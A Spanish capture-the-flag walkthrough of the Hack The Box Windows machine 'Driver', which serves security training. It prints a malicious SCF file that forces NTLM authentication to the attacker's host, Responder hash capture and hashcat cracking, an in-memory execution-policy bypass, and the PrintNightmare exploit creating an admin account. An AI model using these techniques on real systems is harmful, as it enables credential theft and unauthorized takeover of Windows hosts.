CorvusDDosKRom

Hack The Box: Driver

Easy

Driver es una máquina de nivel Easy en Hack The Box con Windows que involucra captura de hashes NTLMv2 mediante un archivo SCF malicioso y escalada de privilegios usando PrintNightmare (CVE-2021-1675).

Windows
Hack The Box
SMB NTLM Responder Hash Cracking PrintNightmare CVE-2021-1675

Driver

Plataforma: Hack The Box

Dificultad: Easy

🔗 Link de la máquina: https://app.hackthebox.com/machines/Driver

Driver

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN driver.txt 10.129.5.160
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-14 14:59 -0300
Nmap scan report for 10.129.5.160
Host is up (0.22s latency).
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Microsoft-IIS/10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-02-15T01:01:00
|_  start_date: 2026-02-15T00:52:55
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.03 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN driver.txt: Guarda los resultados en el archivo “driver.txt”.

Puertos descubiertos:

  • 80/tcp - HTTP (IIS 10.0) → MFP Firmware Update Center (requiere autenticación básica)
  • 135/tcp - MSRPC
  • 445/tcp - SMB (Windows)
  • 5985/tcp - WinRM (Windows Remote Management)

Enumeración Web

Acceso al Panel

El servicio HTTP requiere autenticación básica HTTP. Probamos credenciales por defecto:

  • admin:admin ✅

MFP Panel

Accedemos al MFP Firmware Update Center, un panel para actualizar firmware de impresoras multifunción. El panel tiene una sección de subida de archivos donde se pueden cargar actualizaciones de firmware para distintos modelos de impresoras.

Funcionalidad de Subida de Archivos

El panel indica que los archivos de firmware subidos son revisados por el equipo de IT antes de ser procesados. Esto es clave: alguien revisará los archivos que subamos.

Upload Form


Explotación

Captura de Hash NTLMv2 con SCF Malicioso

Cuando un archivo SCF (Shell Command File) es subido a un recurso compartido de Windows y un usuario navega a esa carpeta, Windows intentará automáticamente autenticarse con el servidor especificado en el archivo. Esto nos permite capturar el hash NTLMv2 del usuario que revisa los archivos.

Preparación del ataque

Iniciamos Responder para capturar el hash NTLMv2:

sudo responder -I tun0 -wv

Creación del archivo SCF malicioso

Creamos un archivo @driver.scf (el @ hace que aparezca primero en el listado del directorio):

[Shell]
Command=2
IconFile=\\10.10.16.4\share\test.ico
[Taskbar]
Command=ToggleDesktop

El campo IconFile apunta a nuestro servidor, forzando a Windows a autenticarse vía NTLM cuando el archivo es accedido.

Subimos el archivo SCF a través del panel web:

SCF Upload

Captura del hash

Después de unos segundos, Responder captura el hash NTLMv2 cuando el administrador revisa los archivos subidos:

[SMB] NTLMv2-SSP Client   : 10.129.5.160
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash     : tony::DRIVER:ff5da5326467b2c9:9783E8CBD8836B94CF734BFCF85947A5:0101000000000000...

Hash capturado del usuario: tony

Cracking del Hash NTLMv2

hashcat -m 5600 tony_hash.txt /usr/share/wordlists/rockyou.txt

Resultado:

TONY::DRIVER:3a83a4c06e97c8df:7BBB2BE8A7073...:liltony

Credenciales obtenidas:

  • Usuario: tony
  • Contraseña: liltony

User Flag

Acceso via WinRM

Con las credenciales obtenidas, nos conectamos al servicio WinRM.

Al intentar ejecutar evil-winrm, puede aparecer el siguiente error por una dependencia de Ruby faltante:

/usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1421:in `block in activate_dependencies':
Could not find 'rubyzip' (~> 2.0) among 149 total gem(s) (Gem::MissingSpecError)

Para solucionarlo:

sudo gem install evil-winrm

Una vez instalado correctamente:

evil-winrm -i 10.129.5.160 -u tony -p liltony

WinRM Access

*Evil-WinRM* PS C:\Users\tony\Documents> cd ..
*Evil-WinRM* PS C:\Users\tony> cd Desktop
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
3879e3794ec45027bfca7cb12b27d4a8

User Flag


Escalada de Privilegios

Enumeración del Sistema

Enumeramos el sistema buscando vectores de escalada:

whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

Verificamos la versión del sistema y los servicios instalados:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Get-Service -Name Spooler

Resultado:

systeminfo.exe : ERROR: Access denied

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler

El servicio Print Spooler está activo en una versión de Windows vulnerable.

CVE-2021-1675 - PrintNightmare

PrintNightmare es una vulnerabilidad crítica en el servicio Windows Print Spooler que permite a usuarios no privilegiados instalar drivers de impresora maliciosos y ejecutar código con privilegios de SYSTEM.

Preparación del exploit

Descargamos el script de PowerShell desde Kali:

wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1

Lo subimos a la máquina víctima desde evil-winrm:

upload CVE-2021-1675.ps1

Al intentar importar el módulo directamente, la política de ejecución lo bloquea:

Import-Module .\CVE-2021-1675.ps1
File C:\Users\tony\Desktop\CVE-2021-1675.ps1 cannot be loaded because running scripts is disabled on this system.

Lo cargamos directamente en memoria para saltarnos la restricción:

IEX(Get-Content .\CVE-2021-1675.ps1 -Raw)

Explotación

Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "PrintMe"

Resultado:

[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll

Verificación

net user hacker
net localgroup administrators
User name                    hacker
...
Local Group Memberships      *Administrators

Accedemos con el nuevo usuario administrador:

evil-winrm -i 10.129.5.160 -u hacker -p 'Password123!'
*Evil-WinRM* PS C:\Users\hacker> whoami
driver\hacker
*Evil-WinRM* PS C:\Users\hacker> whoami /groups | findstr "S-1-5-32-544"
BUILTIN\Administrators

Root Flag

*Evil-WinRM* PS C:\> type C:\Users\Administrator\Desktop\root.txt

Root Flag

Máquina Driver de Hack The Box completada exitosamente.